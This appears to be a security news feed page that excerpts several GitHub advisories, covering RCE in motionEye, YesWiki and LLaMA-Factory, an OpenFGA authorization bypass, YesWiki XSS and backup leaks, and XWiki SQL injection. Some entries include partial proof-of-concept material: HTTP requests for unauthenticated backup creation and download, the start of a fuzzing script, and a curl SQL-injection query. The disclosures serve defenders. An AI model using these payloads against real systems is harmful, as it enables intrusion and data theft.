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Pwn2Own Berlin 2025: Windows 11, VMware, Firefox and Others Hacked

The beginning of Pwn2Own Berlin 2025, hosted at the OffensiveCon conference, has concluded its first two days with…

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#vulnerability#mac#windows#microsoft#linux#red_hat#redis#oracle#vmware#auth#zero_day#docker#chrome#firefox
GHSA-g5mq-prx7-c588: motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution

### Summary Using a constructed (camera) device path with the `config/add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, `motion` by default. #### function call stack 1. `post` 2. `add_camera` 3. `config.add_camera` 4. `v4l2ctl.list_resolutions` 5. `utils.call_subprocess` 6. `subprocess.run` ### PoC #### build ```sh RUN_USER="user" RUN_UID=$(id -u ${RUN_USER}) RUN_GID=$(id -g ${RUN_USER}) TIMESTAMP="$(date '+%Y%m%d-%H%M')" docker build \ --network host \ --build-arg="RUN_UID=${RUN_UID?}" \ --build-arg="RUN_GID=${RUN_GID?}" \ -t "${USER?}/motioneye:${TIMESTAMP}" \ --no-cache \ -f docker/Dockerfile . ``` #### reproduce Run: ```sh docker run --rm -d -p 8765:8765 --hostname="motioneye" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye ``` ```console ...

Trust and authenticity: In the kitchen and the software supply chain

Software supply chain security has become more relevant in the last decade as more and more organizations consume, develop and deploy containerized workloads. Software is inherently complex so an analogy concerning an area of life that we can all relate to should help. Here's a conversation about cooking lasagna!“Do you need any help?”“No, it's fine. I have done this a thousand times, thanks.”“That meat packaging is unusual. It’s just a thin plastic bag. Where did you get that?”“It was a bargain. A young chap knocked the door earlier and said he was selling meat. He had a coole

GHSA-w222-m46c-mgh6: OpenFGA Authorization Bypass

Overview OpenFGA v1.8.10 or previous (Helm chart <= openfga-0.2.28, docker <= v.1.8.10) are vulnerable to authorization bypass when certain Check and ListObject calls are executed. Am I Affected? If you are using OpenFGA v1.8.10 or previous, specifically under the following conditions, you are affected by this authorization bypass vulnerability: - Calling Check API or ListObjects with an [authorization model](https://openfga.dev/docs/concepts#what-is-an-authorization-model) that has tuple cycle. - [Check query cache](https://github.com/openfga/openfga/blob/9b5974458b777707ed2a30ba6303699499e655ee/.config-schema.json#L528) is enabled, and - There are multiple check / list objects requests involving the tuple cycle within the check query TTL Fix Upgrade to v1.8.11. This upgrade is backwards compatible.

GHSA-88xg-v53p-fpvf: YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution

### Summary An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server. All testing was performed on a local docker setup running the latest version of the application. ### PoC Proof of Concept Navigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`. ![LookWiki](https://github.com/user-attachments/assets/11c638ec-b700-483a-91fb-2d83107c2c69) After clicking save, this request is made (most headers removed for clarity): ``` POST /?api/templates/custom-presets/test.css HTTP/1.1 Host: localhost:8085 primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif ``` ...

GHSA-wc9g-6j9w-hr95: YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download

### Summary The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication. The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated. ### Details Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for: ``` POST /?api/archives HTTP/1.1 Host: localhost:8085 action=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true ``` Then to retrieve it, make a simple `GET` request like to the correct URL: ``` http://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip ``` A malicious attacker could simply fuzz this filename. ### PoC Here is a python script to fuzz this: ``` #!/usr/bin/env python3 import requests import argpars...

GHSA-2f8p-qqx2-gwr2: YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting

### Summary Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication This Proof of Concept has been performed using the followings: - YesWiki v4.5.3 (doryphore-dev branch) - Docker environnment (docker/docker-compose.yml) ### Vulnerable code The vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735) ``` public function showUploadForm() { $this->file = $_GET['file']; echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n"; echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n" . ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n" . ' <input type="hidden" name="MAX_FILE_SIZE" value="' . ...

Darcula Phishing Kit Uses AI to Evade Detection, Experts Warn

Darcula phishing platform adds AI to create multilingual scam pages easily. Netcraft warns of rising risks from Darcula-Suite…

GHSA-f2f7-gj54-6vpv: LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py

### Description A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. ### Attack Vector This vulnerability is **exploitable without authentication or privileges** when a user is tricked into: 1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo). 2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow. No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. ### Impact - Arbitrary command execution (RCE) - System compromise - Persistence or lateral movement in sh...

GHSA-f69v-xrj8-rhxf: org.xwiki.platform:xwiki-platform-rest-server allows SQL injection in query endpoint of REST API

### Impact It is possible for a remote unauthenticated user to escape from the HQL execution context and perform a blind SQL injection to execute arbitrary SQL statements on the database backend, including when "Prevent unregistered users from viewing pages, regardless of the page rights" and "Prevent unregistered users from editing pages, regardless of the page rights" options are enabled. Depending on the used database backend, the attacker may be able to not only obtain confidential information such as password hashes from the database, but also execute UPDATE/INSERT/DELETE queries. The vulnerability may be tested in a default installation of XWIki Standard Flavor, including using the official Docker containers. An example query, which leads to SQL injection with MySQL/MariaDB backend is shown below: ``` time curl "http://127.0.0.1:8080/rest/wikis/xwiki/query?q=where%20doc.name=length('a')*org.apache.logging.log4j.util.Chars.SPACE%20or%201%3C%3E%271%5C%27%27%20union%20select%20...